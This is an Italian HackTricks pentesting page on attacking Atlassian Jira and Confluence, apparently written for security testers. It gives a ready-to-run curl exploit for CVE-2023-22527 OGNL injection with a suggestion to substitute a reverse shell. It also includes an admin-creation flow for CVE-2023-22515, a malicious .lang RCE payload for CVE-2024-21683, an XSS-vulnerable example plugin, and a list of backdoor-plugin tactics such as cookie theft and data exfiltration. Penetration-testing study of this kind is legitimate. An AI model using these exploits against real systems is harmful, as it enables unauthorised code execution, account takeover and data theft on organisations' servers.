Jira & Confluence

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Verifica privilegi

In Jira, i privilegi possono essere verificati da qualsiasi utente, autenticato o no, tramite gli endpoint /rest/api/2/mypermissions o /rest/api/3/mypermissions. Questi endpoint rivelano i privilegi correnti dell’utente. Un problema significativo si verifica quando utenti non autenticati possiedono privilegi, il che indica una vulnerabilità di sicurezza che potrebbe potenzialmente essere eleggibile per un bounty. Allo stesso modo, privilegi inattesi per utenti autenticati indicano anch’essi una vulnerabilità.

Un importante aggiornamento è stato effettuato il 1 febbraio 2019, che richiede che l’endpoint ‘mypermissions’ includa un parametro ‘permission’. Questa modifica mira a aumentare la sicurezza specificando i privilegi interrogati: check it here

  • ADD_COMMENTS
  • ADMINISTER
  • ADMINISTER_PROJECTS
  • ASSIGNABLE_USER
  • ASSIGN_ISSUES
  • BROWSE_PROJECTS
  • BULK_CHANGE
  • CLOSE_ISSUES
  • CREATE_ATTACHMENTS
  • CREATE_ISSUES
  • CREATE_PROJECT
  • CREATE_SHARED_OBJECTS
  • DELETE_ALL_ATTACHMENTS
  • DELETE_ALL_COMMENTS
  • DELETE_ALL_WORKLOGS
  • DELETE_ISSUES
  • DELETE_OWN_ATTACHMENTS
  • DELETE_OWN_COMMENTS
  • DELETE_OWN_WORKLOGS
  • EDIT_ALL_COMMENTS
  • EDIT_ALL_WORKLOGS
  • EDIT_ISSUES
  • EDIT_OWN_COMMENTS
  • EDIT_OWN_WORKLOGS
  • LINK_ISSUES
  • MANAGE_GROUP_FILTER_SUBSCRIPTIONS
  • MANAGE_SPRINTS_PERMISSION
  • MANAGE_WATCHERS
  • MODIFY_REPORTER
  • MOVE_ISSUES
  • RESOLVE_ISSUES
  • SCHEDULE_ISSUES
  • SET_ISSUE_SECURITY
  • SYSTEM_ADMIN
  • TRANSITION_ISSUES
  • USER_PICKER
  • VIEW_AGGREGATED_DATA
  • VIEW_DEV_TOOLS
  • VIEW_READONLY_WORKFLOW
  • VIEW_VOTERS_AND_WATCHERS
  • WORK_ON_ISSUES

Example: https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS

#Check non-authenticated privileges
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'

Enumerazione automatizzata

RCEs recenti & note pratiche di exploit (Confluence)

CVE-2023-22527 – template non autenticato/OGNL injection (10.0)

  • Colpisce Confluence Data Center/Server 8.0.x–8.5.3 & 8.4.5. Il template Velocity vulnerabile text-inline.vm permette la valutazione OGNL senza autenticazione.
  • PoC rapido (il comando viene eseguito come utente Confluence):
curl -k -X POST "https://confluence.target.com/template/aui/text-inline.vm" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'label=aaa%27%2b#request.get("KEY_velocity.struts2.context").internalGet("ognl").findValue(#parameters.poc[0],{})%2b%27&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader("x-cmd",(new+freemarker.template.utility.Execute()).exec({"id"}))'
  • L’header di risposta x-cmd conterrà l’output del comando. Sostituisci id con un reverse shell payload.
  • Scanner: nuclei template http/cves/2023/CVE-2023-22527.yaml (presente in nuclei-templates ≥9.7.5).

CVE-2023-22515 – setup reactivation admin creation (auth bypass)

  • Confluence Data Center/Server 8.0.0–8.5.1 raggiungibile pubblicamente permette di modificare setupComplete e rieseguire /setup/setupadministrator.action per creare un nuovo account admin.
  • Minimal exploit flow:
  1. GET /server-info.action (senza autenticazione) per verificare la raggiungibilità.
  2. POST /server-info.action con parametri buildNumber per alternare il flag di setup.
  3. POST /setup/setupadministrator.action con fullName, email, username, password, confirm per creare un account admin.

CVE-2024-21683 – authenticated RCE via Code Macro upload

  • Confluence Admin può caricare una definizione di lingua appositamente costruita in Configure Code Macro; il motore Rhino esegue Java embedded, portando a RCE.
  • Per ottenere una shell, carica un file .lang contenente un payload simile a:
<?xml version="1.0"?>
<languages>
<language key="pwn" name="pwn" namespace="java.lang">
<tokens>
<token scope="normal">${"".getClass().forName("java.lang.Runtime").getRuntime().exec("id")}</token>
</tokens>
</language>
</languages>
  • Si attiva selezionando il linguaggio malevolo in qualsiasi corpo di un Code Macro. Metasploit module exploit/multi/http/atlassian_confluence_rce_cve_2024_21683 automatizza auth + upload + exec.

Atlasian Plugins

Come indicato in questo blog, nella documentazione sui Plugin modules ↗ è possibile consultare i diversi tipi di plugin, come:

Questo è un esempio del tipo di macro plugin:

Esempio di Macro plugin ```java package com.atlassian.tutorial.macro;

import com.atlassian.confluence.content.render.xhtml.ConversionContext; import com.atlassian.confluence.macro.Macro; import com.atlassian.confluence.macro.MacroExecutionException;

import java.util.Map;

public class helloworld implements Macro {

public String execute(Map<String, String> map, String body, ConversionContext conversionContext) throws MacroExecutionException { if (map.get(“Name”) != null) { return (“

Hello “ + map.get(“Name”) + “!

”); } else { return “

Hello World!

”; } }

public BodyType getBodyType() { return BodyType.NONE; }

public OutputType getOutputType() { return OutputType.BLOCK; } }

</details>

È possibile osservare che questi plugin potrebbero essere vulnerabili a comuni vulnerabilità web come XSS. Per esempio l'esempio precedente è vulnerabile perché riflette dati forniti dall'utente.

Una volta trovato un XSS, in [**this github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) puoi trovare alcuni payloads per aumentare l'impatto dello XSS.

## Plugin backdoor

[**This post**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) descrive diverse azioni (maligne) che un plugin Jira malevolo potrebbe eseguire. Puoi trovare [**code example in this repo**](https://github.com/cyllective/malfluence).

Queste sono alcune delle azioni che un plugin malevolo potrebbe eseguire:

- **Nascondere il plugin agli amministratori**: È possibile nascondere il plugin malevolo iniettando del javascript front-end
- **Esfiltrare allegati e pagine**: Permette di accedere ed esfiltrare tutti i dati.
- **Rubare token di sessione**: Aggiungere un endpoint che risponda ritornando gli header nella response (con il cookie) e un javascript che lo contatti e leak i cookies.
- **Esecuzione di comandi**: Ovviamente è possibile creare un plugin che esegua codice.
- **Reverse Shell**: Ottenere una reverse shell.
- **DOM Proxying**: Se Confluence è all'interno di una rete privata, sarebbe possibile stabilire una connessione attraverso il browser di un utente con accesso a esso e, per esempio, contattare il server ed eseguire comandi tramite esso.



## References

- [Atlassian advisory – CVE-2023-22527 template injection RCE](https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-datacenter-and-confluence-server-1333990257.html)
- [CISA AA23-289A – Active exploitation of Confluence CVE-2023-22515](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-289a)
> [!TIP]
> Impara e pratica il hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Impara e pratica il hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Impara e pratica il hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Supporta HackTricks</summary>
>
> - Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
> - **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos github.
>
> </details>